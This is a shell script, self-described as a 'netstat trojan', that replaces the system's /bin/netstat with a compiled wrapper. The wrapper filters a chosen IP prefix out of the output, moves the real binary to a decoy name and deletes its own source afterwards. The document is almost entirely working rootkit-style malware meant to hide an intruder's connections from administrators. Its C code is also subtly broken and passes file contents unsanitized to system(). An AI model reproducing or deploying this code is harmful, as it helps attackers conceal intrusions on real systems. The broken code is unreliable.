#!/bin/sh
echo "netstat trojan by god-@EFNet"
echo " "
echo "whats the bclass ip you wana hide?"
read bch

echo "$bch" >> /var/tmp/.netstat
if [ -f /bin/netstat ]
then
    echo "netstat found on /bin/netstat"
    mv /bin/netstat /usr/local/bin/bzcat2
    
    else
    echo "cant find /bin/netstat! =["
    exit 1
fi


cat >> netstat.c << _EOF_
#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <string.h>

#define NETTMP "/usr/local/bin/bzcat2"
#define NETHIDE "/var/tmp/.netstat"

int main() {

        FILE *fd;
        char fname[1024];
        char sos[1024];
        char sosa[1024];
        strcpy(fname,NETHIDE);

        if(!(fd = (fopen(fname, "r")))) {
        printf("Error creating raw socket\n");
        exit(0);
        }

        bzero(sos,sizeof(sos));
        fgets(sos,sizeof(sos),fd);

        while(fgets(sos,sizeof(sos),fd)) {
                sprintf(sosa,"%s | grep -v %s", NETTMP, sos);
                system(sosa); 
        exit(0);
        }
        return 0;
        fclose(fd);
}

_EOF_

cc netstat.c -o /bin/netstat
echo "all done..."
rm -f netstat.sh
rm -f netstat.c



